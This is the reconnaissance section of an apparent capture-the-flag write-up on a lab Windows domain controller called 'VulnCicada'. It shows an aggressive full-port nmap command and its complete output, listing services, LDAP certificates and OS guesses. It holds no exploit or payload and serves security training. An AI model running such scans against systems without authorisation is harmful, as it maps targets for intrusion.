VulnCicada - 4b0dx

Nmap Scan#

First, I performed a comprehensive Nmap scan to identify open ports and running services on the target machine:

1
└─$ nmap -sV -vv -p- -A --min-rate 3000 -oN vulnCicada_tcp.txt 10.129.132.149

1
Nmap scan report for 10.129.132.149 (10.129.132.149)
2
Host is up, received echo-reply ttl 127 (0.051s latency).
3
Scanned at 2025-09-06 19:28:11 +01 for 180s
4
Not shown: 65512 filtered tcp ports (no-response)
5
PORT      STATE SERVICE       REASON          VERSION
6
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
7
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
8
|_http-server-header: Microsoft-IIS/10.0
9
| http-methods:
10
|   Supported Methods: OPTIONS TRACE GET HEAD POST
11
|_  Potentially risky methods: TRACE
12
|_http-title: IIS Windows Server
13
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-09-06 18:29:04Z)
14
111/tcp   open  rpcbind       syn-ack ttl 127 2-4 (RPC #100000)
15
| rpcinfo:
16
|   program version    port/proto  service
17
|   100000  2,3,4        111/tcp   rpcbind
18
|   100000  2,3,4        111/tcp6  rpcbind
19
|   100000  2,3,4        111/udp   rpcbind
20
|   100000  2,3,4        111/udp6  rpcbind
21
|   100003  2,3         2049/udp   nfs
22
|   100003  2,3         2049/udp6  nfs
23
|   100003  2,3,4       2049/tcp   nfs
24
|   100003  2,3,4       2049/tcp6  nfs
25
|   100005  1,2,3       2049/tcp   mountd
26
|   100005  1,2,3       2049/tcp6  mountd
27
|   100005  1,2,3       2049/udp   mountd
28
|   100005  1,2,3       2049/udp6  mountd
29
|   100021  1,2,3,4     2049/tcp   nlockmgr
30
|   100021  1,2,3,4     2049/tcp6  nlockmgr
31
|   100021  1,2,3,4     2049/udp   nlockmgr
32
|   100021  1,2,3,4     2049/udp6  nlockmgr
33
|   100024  1           2049/tcp   status
34
|   100024  1           2049/tcp6  status
35
|   100024  1           2049/udp   status
36
|_  100024  1           2049/udp6  status
37
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
38
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
39
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
40
| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl
41
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC-JPQ225.cicada.vl
42
| Issuer: commonName=cicada-DC-JPQ225-CA/domainComponent=cicada
43
| Public Key type: rsa
44
| Public Key bits: 2048
45
| Signature Algorithm: sha256WithRSAEncryption
46
| Not valid before: 2025-09-06T18:16:42
47
| Not valid after:  2026-09-06T18:16:42
48
| MD5:   bf1f:ac81:fa7b:442e:e647:11bc:c4e5:402a
49
| SHA-1: 48f0:b214:2fb7:0f23:cdb1:612e:cd14:535e:7bb8:4712
50
| -----BEGIN CERTIFICATE-----
51
| MIIGQjCCBSqgAwIBAgITdAAAAFfXs2UyuT/hcAAcAAAAVzANBgkqhkiG9w0BAQsF
52
| ADBKMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZjaWNhZGEx
53
| HDAaBgNVBAMTE2NpY2FkYS1EQy1KUFEyMjUtQ0EwHhcNMjUwOTA2MTgxNjQyWhcN
54
| MjYwOTA2MTgxNjQyWjAeMRwwGgYDVQQDExNEQy1KUFEyMjUuY2ljYWRhLnZsMIIB
55
| IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA19ty7oM3TNC0ehF2+bEt8Uwv
56
| JMx76rw1n85QYczi25aWnUJ2+G2yThM2AQYXMC1kMMum8LAoc+WDBSrp+6pW3vVA
57
| MEbnHDZBrsN1CW0WCyv2bPfMquIxOLUr9yZEp9ziInuKnmgn+aIcPRMG8kVbk7Er
58
| A+OkLuG1JD3F6f4/qSPL10ZfQQH9+SjmJdxh5BWvbEnDBX+1iF7BADmPEmdXK1cV
59
| Zxe2x+OGXhd5bBZOugRpc5/riblqi5+6Xj/hUsSNwCDJUDMGnCNUbw9sgWr3vJa1
60
| bBTSM7NdJq/GkdhhuTQrnTHDk5CoAxAfNmiSJicjvVonqDXufDcATEwbIOgR0QID
61
| AQABo4IDSzCCA0cwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0
62
| AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNV
63
| HQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYI
64
| KoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUD
65
| BAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzBMBgkrBgEEAYI3
66
| GQIEPzA9oDsGCisGAQQBgjcZAgGgLQQrUy0xLTUtMjEtNjg3NzAzMzkzLTE0NDc3
67
| OTU4ODItNjYwOTgyNDctMTAwMDA/BgNVHREEODA2oB8GCSsGAQQBgjcZAaASBBBJ
68
| dTpUavdLT4B84ikMU0MFghNEQy1KUFEyMjUuY2ljYWRhLnZsMB0GA1UdDgQWBBT3
69
| Mja2q44Gjn47J8gYGNsdE+lmPDAfBgNVHSMEGDAWgBQdBflF4nQ7T40THWEd2S3w
70
| WfbrQTCB1QYDVR0fBIHNMIHKMIHHoIHEoIHBhoG+bGRhcDovLy9DTj1jaWNhZGEt
71
| REMtSlBRMjI1LUNBKDI4KSxDTj1EQy1KUFEyMjUsQ049Q0RQLENOPVB1YmxpYyUy
72
| MEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9
73
| Y2ljYWRhLERDPXZsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmpl
74
| Y3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBwwYIKwYBBQUHAQEEgbYwgbMw
75
| gbAGCCsGAQUFBzAChoGjbGRhcDovLy9DTj1jaWNhZGEtREMtSlBRMjI1LUNBLENO
76
| PUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1D
77
| b25maWd1cmF0aW9uLERDPWNpY2FkYSxEQz12bD9jQUNlcnRpZmljYXRlP2Jhc2U/
78
| b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF
79
| AAOCAQEAFA9MrBFpy3kQsVTyHs3r85gphK6OUeuWl20FW6khDvfJvDnJGHIsOM5e
80
| mvQ8+T8xGOMFhjEIt2Su8+RbJRzQmdRL9ImQflwErB/Vlss6amE4usJJiAJ3O5Z0
81
| 1wCX3ouSr3zDAvzyUAPYTC8UdwaxuHMzlYFeoSE6n8rSqN4qYcyMI+uD3sjoQWdY
82
| Csg0IxE3hUdCEWmL8l/7S1/8jejKw4HTWcdt+S1x+OvtO7dxWQulEY+xkuonImqR
83
| L2qB1815e9XnwmXo6ufA77A3m2EIyBDTjyIQelEakj5tg3KXJPxpuUgdZIyv2Hgi
84
| XGvs9UGoPQMmT63GzeHPo8VRJ9x0zg==
85
|_-----END CERTIFICATE-----
86
|_ssl-date: TLS randomness does not represent time
87
445/tcp   open  microsoft-ds? syn-ack ttl 127
88
464/tcp   open  kpasswd5?     syn-ack ttl 127
89
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
90
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
91
|_ssl-date: TLS randomness does not represent time
92
| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl
93
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC-JPQ225.cicada.vl
94
| Issuer: commonName=cicada-DC-JPQ225-CA/domainComponent=cicada
95
| Public Key type: rsa
96
| Public Key bits: 2048
97
| Signature Algorithm: sha256WithRSAEncryption
98
| Not valid before: 2025-09-06T18:16:42
99
| Not valid after:  2026-09-06T18:16:42
100
| MD5:   bf1f:ac81:fa7b:442e:e647:11bc:c4e5:402a
101
| SHA-1: 48f0:b214:2fb7:0f23:cdb1:612e:cd14:535e:7bb8:4712
102
| -----BEGIN CERTIFICATE-----
103
| MIIGQjCCBSqgAwIBAgITdAAAAFfXs2UyuT/hcAAcAAAAVzANBgkqhkiG9w0BAQsF
104
| ADBKMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZjaWNhZGEx
105
| HDAaBgNVBAMTE2NpY2FkYS1EQy1KUFEyMjUtQ0EwHhcNMjUwOTA2MTgxNjQyWhcN
106
| MjYwOTA2MTgxNjQyWjAeMRwwGgYDVQQDExNEQy1KUFEyMjUuY2ljYWRhLnZsMIIB
107
| IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA19ty7oM3TNC0ehF2+bEt8Uwv
108
| JMx76rw1n85QYczi25aWnUJ2+G2yThM2AQYXMC1kMMum8LAoc+WDBSrp+6pW3vVA
109
| MEbnHDZBrsN1CW0WCyv2bPfMquIxOLUr9yZEp9ziInuKnmgn+aIcPRMG8kVbk7Er
110
| A+OkLuG1JD3F6f4/qSPL10ZfQQH9+SjmJdxh5BWvbEnDBX+1iF7BADmPEmdXK1cV
111
| Zxe2x+OGXhd5bBZOugRpc5/riblqi5+6Xj/hUsSNwCDJUDMGnCNUbw9sgWr3vJa1
112
| bBTSM7NdJq/GkdhhuTQrnTHDk5CoAxAfNmiSJicjvVonqDXufDcATEwbIOgR0QID
113
| AQABo4IDSzCCA0cwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0
114
| AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNV
115
| HQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYI
116
| KoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUD
117
| BAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzBMBgkrBgEEAYI3
118
| GQIEPzA9oDsGCisGAQQBgjcZAgGgLQQrUy0xLTUtMjEtNjg3NzAzMzkzLTE0NDc3
119
| OTU4ODItNjYwOTgyNDctMTAwMDA/BgNVHREEODA2oB8GCSsGAQQBgjcZAaASBBBJ
120
| dTpUavdLT4B84ikMU0MFghNEQy1KUFEyMjUuY2ljYWRhLnZsMB0GA1UdDgQWBBT3
121
| Mja2q44Gjn47J8gYGNsdE+lmPDAfBgNVHSMEGDAWgBQdBflF4nQ7T40THWEd2S3w
122
| WfbrQTCB1QYDVR0fBIHNMIHKMIHHoIHEoIHBhoG+bGRhcDovLy9DTj1jaWNhZGEt
123
| REMtSlBRMjI1LUNBKDI4KSxDTj1EQy1KUFEyMjUsQ049Q0RQLENOPVB1YmxpYyUy
124
| MEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9
125
| Y2ljYWRhLERDPXZsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmpl
126
| Y3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBwwYIKwYBBQUHAQEEgbYwgbMw
127
| gbAGCCsGAQUFBzAChoGjbGRhcDovLy9DTj1jaWNhZGEtREMtSlBRMjI1LUNBLENO
128
| PUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1D
129
| b25maWd1cmF0aW9uLERDPWNpY2FkYSxEQz12bD9jQUNlcnRpZmljYXRlP2Jhc2U/
130
| b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF
131
| AAOCAQEAFA9MrBFpy3kQsVTyHs3r85gphK6OUeuWl20FW6khDvfJvDnJGHIsOM5e
132
| mvQ8+T8xGOMFhjEIt2Su8+RbJRzQmdRL9ImQflwErB/Vlss6amE4usJJiAJ3O5Z0
133
| 1wCX3ouSr3zDAvzyUAPYTC8UdwaxuHMzlYFeoSE6n8rSqN4qYcyMI+uD3sjoQWdY
134
| Csg0IxE3hUdCEWmL8l/7S1/8jejKw4HTWcdt+S1x+OvtO7dxWQulEY+xkuonImqR
135
| L2qB1815e9XnwmXo6ufA77A3m2EIyBDTjyIQelEakj5tg3KXJPxpuUgdZIyv2Hgi
136
| XGvs9UGoPQMmT63GzeHPo8VRJ9x0zg==
137
|_-----END CERTIFICATE-----
138
2049/tcp  open  nlockmgr      syn-ack ttl 127 1-4 (RPC #100021)
139
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
140
| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl
141
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC-JPQ225.cicada.vl
142
| Issuer: commonName=cicada-DC-JPQ225-CA/domainComponent=cicada
143
| Public Key type: rsa
144
| Public Key bits: 2048
145
| Signature Algorithm: sha256WithRSAEncryption
146
| Not valid before: 2025-09-06T18:16:42
147
| Not valid after:  2026-09-06T18:16:42
148
| MD5:   bf1f:ac81:fa7b:442e:e647:11bc:c4e5:402a
149
| SHA-1: 48f0:b214:2fb7:0f23:cdb1:612e:cd14:535e:7bb8:4712
150
| -----BEGIN CERTIFICATE-----
151
| MIIGQjCCBSqgAwIBAgITdAAAAFfXs2UyuT/hcAAcAAAAVzANBgkqhkiG9w0BAQsF
152
| ADBKMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZjaWNhZGEx
153
| HDAaBgNVBAMTE2NpY2FkYS1EQy1KUFEyMjUtQ0EwHhcNMjUwOTA2MTgxNjQyWhcN
154
| MjYwOTA2MTgxNjQyWjAeMRwwGgYDVQQDExNEQy1KUFEyMjUuY2ljYWRhLnZsMIIB
155
| IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA19ty7oM3TNC0ehF2+bEt8Uwv
156
| JMx76rw1n85QYczi25aWnUJ2+G2yThM2AQYXMC1kMMum8LAoc+WDBSrp+6pW3vVA
157
| MEbnHDZBrsN1CW0WCyv2bPfMquIxOLUr9yZEp9ziInuKnmgn+aIcPRMG8kVbk7Er
158
| A+OkLuG1JD3F6f4/qSPL10ZfQQH9+SjmJdxh5BWvbEnDBX+1iF7BADmPEmdXK1cV
159
| Zxe2x+OGXhd5bBZOugRpc5/riblqi5+6Xj/hUsSNwCDJUDMGnCNUbw9sgWr3vJa1
160
| bBTSM7NdJq/GkdhhuTQrnTHDk5CoAxAfNmiSJicjvVonqDXufDcATEwbIOgR0QID
161
| AQABo4IDSzCCA0cwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0
162
| AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNV
163
| HQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYI
164
| KoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUD
165
| BAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzBMBgkrBgEEAYI3
166
| GQIEPzA9oDsGCisGAQQBgjcZAgGgLQQrUy0xLTUtMjEtNjg3NzAzMzkzLTE0NDc3
167
| OTU4ODItNjYwOTgyNDctMTAwMDA/BgNVHREEODA2oB8GCSsGAQQBgjcZAaASBBBJ
168
| dTpUavdLT4B84ikMU0MFghNEQy1KUFEyMjUuY2ljYWRhLnZsMB0GA1UdDgQWBBT3
169
| Mja2q44Gjn47J8gYGNsdE+lmPDAfBgNVHSMEGDAWgBQdBflF4nQ7T40THWEd2S3w
170
| WfbrQTCB1QYDVR0fBIHNMIHKMIHHoIHEoIHBhoG+bGRhcDovLy9DTj1jaWNhZGEt
171
| REMtSlBRMjI1LUNBKDI4KSxDTj1EQy1KUFEyMjUsQ049Q0RQLENOPVB1YmxpYyUy
172
| MEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9
173
| Y2ljYWRhLERDPXZsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmpl
174
| Y3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBwwYIKwYBBQUHAQEEgbYwgbMw
175
| gbAGCCsGAQUFBzAChoGjbGRhcDovLy9DTj1jaWNhZGEtREMtSlBRMjI1LUNBLENO
176
| PUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1D
177
| b25maWd1cmF0aW9uLERDPWNpY2FkYSxEQz12bD9jQUNlcnRpZmljYXRlP2Jhc2U/
178
| b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF
179
| AAOCAQEAFA9MrBFpy3kQsVTyHs3r85gphK6OUeuWl20FW6khDvfJvDnJGHIsOM5e
180
| mvQ8+T8xGOMFhjEIt2Su8+RbJRzQmdRL9ImQflwErB/Vlss6amE4usJJiAJ3O5Z0
181
| 1wCX3ouSr3zDAvzyUAPYTC8UdwaxuHMzlYFeoSE6n8rSqN4qYcyMI+uD3sjoQWdY
182
| Csg0IxE3hUdCEWmL8l/7S1/8jejKw4HTWcdt+S1x+OvtO7dxWQulEY+xkuonImqR
183
| L2qB1815e9XnwmXo6ufA77A3m2EIyBDTjyIQelEakj5tg3KXJPxpuUgdZIyv2Hgi
184
| XGvs9UGoPQMmT63GzeHPo8VRJ9x0zg==
185
|_-----END CERTIFICATE-----
186
|_ssl-date: TLS randomness does not represent time
187
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: cicada.vl0., Site: Default-First-Site-Name)
188
| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl
189
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC-JPQ225.cicada.vl
190
| Issuer: commonName=cicada-DC-JPQ225-CA/domainComponent=cicada
191
| Public Key type: rsa
192
| Public Key bits: 2048
193
| Signature Algorithm: sha256WithRSAEncryption
194
| Not valid before: 2025-09-06T18:16:42
195
| Not valid after:  2026-09-06T18:16:42
196
| MD5:   bf1f:ac81:fa7b:442e:e647:11bc:c4e5:402a
197
| SHA-1: 48f0:b214:2fb7:0f23:cdb1:612e:cd14:535e:7bb8:4712
198
| -----BEGIN CERTIFICATE-----
199
| MIIGQjCCBSqgAwIBAgITdAAAAFfXs2UyuT/hcAAcAAAAVzANBgkqhkiG9w0BAQsF
200
| ADBKMRIwEAYKCZImiZPyLGQBGRYCdmwxFjAUBgoJkiaJk/IsZAEZFgZjaWNhZGEx
201
| HDAaBgNVBAMTE2NpY2FkYS1EQy1KUFEyMjUtQ0EwHhcNMjUwOTA2MTgxNjQyWhcN
202
| MjYwOTA2MTgxNjQyWjAeMRwwGgYDVQQDExNEQy1KUFEyMjUuY2ljYWRhLnZsMIIB
203
| IjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA19ty7oM3TNC0ehF2+bEt8Uwv
204
| JMx76rw1n85QYczi25aWnUJ2+G2yThM2AQYXMC1kMMum8LAoc+WDBSrp+6pW3vVA
205
| MEbnHDZBrsN1CW0WCyv2bPfMquIxOLUr9yZEp9ziInuKnmgn+aIcPRMG8kVbk7Er
206
| A+OkLuG1JD3F6f4/qSPL10ZfQQH9+SjmJdxh5BWvbEnDBX+1iF7BADmPEmdXK1cV
207
| Zxe2x+OGXhd5bBZOugRpc5/riblqi5+6Xj/hUsSNwCDJUDMGnCNUbw9sgWr3vJa1
208
| bBTSM7NdJq/GkdhhuTQrnTHDk5CoAxAfNmiSJicjvVonqDXufDcATEwbIOgR0QID
209
| AQABo4IDSzCCA0cwLwYJKwYBBAGCNxQCBCIeIABEAG8AbQBhAGkAbgBDAG8AbgB0
210
| AHIAbwBsAGwAZQByMB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATAOBgNV
211
| HQ8BAf8EBAMCBaAweAYJKoZIhvcNAQkPBGswaTAOBggqhkiG9w0DAgICAIAwDgYI
212
| KoZIhvcNAwQCAgCAMAsGCWCGSAFlAwQBKjALBglghkgBZQMEAS0wCwYJYIZIAWUD
213
| BAECMAsGCWCGSAFlAwQBBTAHBgUrDgMCBzAKBggqhkiG9w0DBzBMBgkrBgEEAYI3
214
| GQIEPzA9oDsGCisGAQQBgjcZAgGgLQQrUy0xLTUtMjEtNjg3NzAzMzkzLTE0NDc3
215
| OTU4ODItNjYwOTgyNDctMTAwMDA/BgNVHREEODA2oB8GCSsGAQQBgjcZAaASBBBJ
216
| dTpUavdLT4B84ikMU0MFghNEQy1KUFEyMjUuY2ljYWRhLnZsMB0GA1UdDgQWBBT3
217
| Mja2q44Gjn47J8gYGNsdE+lmPDAfBgNVHSMEGDAWgBQdBflF4nQ7T40THWEd2S3w
218
| WfbrQTCB1QYDVR0fBIHNMIHKMIHHoIHEoIHBhoG+bGRhcDovLy9DTj1jaWNhZGEt
219
| REMtSlBRMjI1LUNBKDI4KSxDTj1EQy1KUFEyMjUsQ049Q0RQLENOPVB1YmxpYyUy
220
| MEtleSUyMFNlcnZpY2VzLENOPVNlcnZpY2VzLENOPUNvbmZpZ3VyYXRpb24sREM9
221
| Y2ljYWRhLERDPXZsP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q/YmFzZT9vYmpl
222
| Y3RDbGFzcz1jUkxEaXN0cmlidXRpb25Qb2ludDCBwwYIKwYBBQUHAQEEgbYwgbMw
223
| gbAGCCsGAQUFBzAChoGjbGRhcDovLy9DTj1jaWNhZGEtREMtSlBRMjI1LUNBLENO
224
| PUFJQSxDTj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1D
225
| b25maWd1cmF0aW9uLERDPWNpY2FkYSxEQz12bD9jQUNlcnRpZmljYXRlP2Jhc2U/
226
| b2JqZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTANBgkqhkiG9w0BAQsF
227
| AAOCAQEAFA9MrBFpy3kQsVTyHs3r85gphK6OUeuWl20FW6khDvfJvDnJGHIsOM5e
228
| mvQ8+T8xGOMFhjEIt2Su8+RbJRzQmdRL9ImQflwErB/Vlss6amE4usJJiAJ3O5Z0
229
| 1wCX3ouSr3zDAvzyUAPYTC8UdwaxuHMzlYFeoSE6n8rSqN4qYcyMI+uD3sjoQWdY
230
| Csg0IxE3hUdCEWmL8l/7S1/8jejKw4HTWcdt+S1x+OvtO7dxWQulEY+xkuonImqR
231
| L2qB1815e9XnwmXo6ufA77A3m2EIyBDTjyIQelEakj5tg3KXJPxpuUgdZIyv2Hgi
232
| XGvs9UGoPQMmT63GzeHPo8VRJ9x0zg==
233
|_-----END CERTIFICATE-----
234
|_ssl-date: TLS randomness does not represent time
235
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
236
| ssl-cert: Subject: commonName=DC-JPQ225.cicada.vl
237
| Issuer: commonName=DC-JPQ225.cicada.vl
238
| Public Key type: rsa
239
| Public Key bits: 2048
240
| Signature Algorithm: sha256WithRSAEncryption
241
| Not valid before: 2025-04-09T08:36:14
242
| Not valid after:  2025-10-09T08:36:14
243
| MD5:   f13b:3481:00fe:742d:b289:2a44:9aea:763c
244
| SHA-1: ac61:95c8:b55d:0e99:a594:56f4:48c4:e7d1:6999:96b3
245
| -----BEGIN CERTIFICATE-----
246
| MIIC6jCCAdKgAwIBAgIQNCY/0xacrp1Cgph0o7/EVDANBgkqhkiG9w0BAQsFADAe
247
| MRwwGgYDVQQDExNEQy1KUFEyMjUuY2ljYWRhLnZsMB4XDTI1MDQwOTA4MzYxNFoX
248
| DTI1MTAwOTA4MzYxNFowHjEcMBoGA1UEAxMTREMtSlBRMjI1LmNpY2FkYS52bDCC
249
| ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMD1KYuFyCTatOninwC0jOUf
250
| XKXX5gBEBj4kxS+d9yP56mMrY/KrEA+NScVoPiX3+1nHwxAaTMt5w87MdzQMKuuD
251
| iVuRkGfXjLAyZr5UPksxd7oBqg0RfJItYKygORbvrSJBiyjSZEStPdo4iRF1uT5+
252
| 7BO1aOotkssJuomFKN5xXcqs2RYw2HldZZEy5jWpn6404R5dKNIMXGPl1sklA7zZ
253
| RASYBXC9hMz8hvcMdeke8NDYWXg/e2GLY83gbm3M6QZ//nMILaLVCUWaGltqv69f
254
| LX08oXQ6DFqbSpHfQwjk+CK3XRQThz60SBY264m+DnovRpFPmxA4i8oe0T1/QAkC
255
| AwEAAaMkMCIwEwYDVR0lBAwwCgYIKwYBBQUHAwEwCwYDVR0PBAQDAgQwMA0GCSqG
256
| SIb3DQEBCwUAA4IBAQCna6lg9KzBWoGwmyEv5l1v9E/nEdDH4fJo6FYsTafgYZiA
257
| FRxJqz5g/swGjnCCVUfl6Rjblm2jOjrlLk7JNLyeZ5lYObOwEljgm2u4YVvLXb99
258
| 9Q+ThsxgdEOv4BmD0KaWrBVq0Y38gx2Xe+CMeCpDLhsjAl0lIYRFAHZ2NxLUZd7j
259
| K0+G0Q60mwUV512n7VtzL7B04lpo10rXNGPAyfDw6m14w64T0H67V69bDr1LO876
260
| 3VFOADcaMBF4RE3UoPrXimKw/XA9dE/c9y4CdWAcN1gUFwkhoW3NYKMWiHgSOZ41
261
| oMl1GGfQyFXyXXLfM+F3t/Kzb/oTJKZVHMUGA/cZ
262
|_-----END CERTIFICATE-----
263
|_ssl-date: 2025-09-06T18:30:43+00:00; +3s from scanner time.
264
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
265
|_http-server-header: Microsoft-HTTPAPI/2.0
266
|_http-title: Not Found
267
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
268
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
269
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
270
60737/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
271
61070/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
272
61153/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
273
62775/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
274
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
275
Device type: general purpose
276
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
277
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
278
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
279
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
280
No exact OS matches for host (test conditions non-ideal).
281
TCP/IP fingerprint:
282
SCAN(V=7.95%E=4%D=9/6%OT=53%CT=%CU=%PV=Y%DS=2%DC=T%G=N%TM=68BC7DEF%P=x86_64-pc-linux-gnu)
283
SEQ(SP=100%GCD=1%ISR=10C%TI=I%II=I%SS=S%TS=A)
284
SEQ(SP=101%GCD=1%ISR=10E%TI=I%II=I%SS=S%TS=A)
285
OPS(O1=M552NW8ST11%O2=M552NW8ST11%O3=M552NW8NNT11%O4=M552NW8ST11%O5=M552NW8ST11%O6=M552ST11)
286
WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFDC)
287
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M552NW8NNS%CC=Y%Q=)
288
T1(R=Y%DF=Y%TG=80%S=O%A=S+%F=AS%RD=0%Q=)
289
T2(R=N)
290
T3(R=N)
291
T4(R=N)
292
U1(R=N)
293
IE(R=Y%DFI=N%TG=80%CD=Z)
294

295
Uptime guess: 0.005 days (since Sat Sep  6 19:24:00 2025)
296
Network Distance: 2 hops
297
TCP Sequence Prediction: Difficulty=257 (Good luck!)
298
IP ID Sequence Generation: Incremental
299
Service Info: Host: DC-JPQ225; OS: Windows; CPE: cpe:/o:microsoft:windows
300

301
Host script results:
302
| p2p-conficker:
303
|   Checking for Conficker.C or higher...
304
|   Check 1 (port 3811/tcp): CLEAN (Timeout)
305
|   Check 2 (port 50031/tcp): CLEAN (Timeout)
306
|   Check 3 (port 7565/udp): CLEAN (Timeout)
307
|   Check 4 (port 58555/udp): CLEAN (Timeout)
308
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
309
|_clock-skew: mean: 2s, deviation: 0s, median: 1s
310
| smb2-security-mode:
311
|   3:1:1:
312
|_    Message signing enabled and required
313
| smb2-time:
314
|   date: 2025-09-06T18:30:04
315
|_  start_date: N/A
316

317
TRACEROUTE (using port 135/tcp)
318
HOP RTT      ADDRESS
319
1   51.07 ms 10.10.14.1 (10.10.14.1)
320
2   52.29 ms 10.129.132.149 (10.129.132.149)
321

322
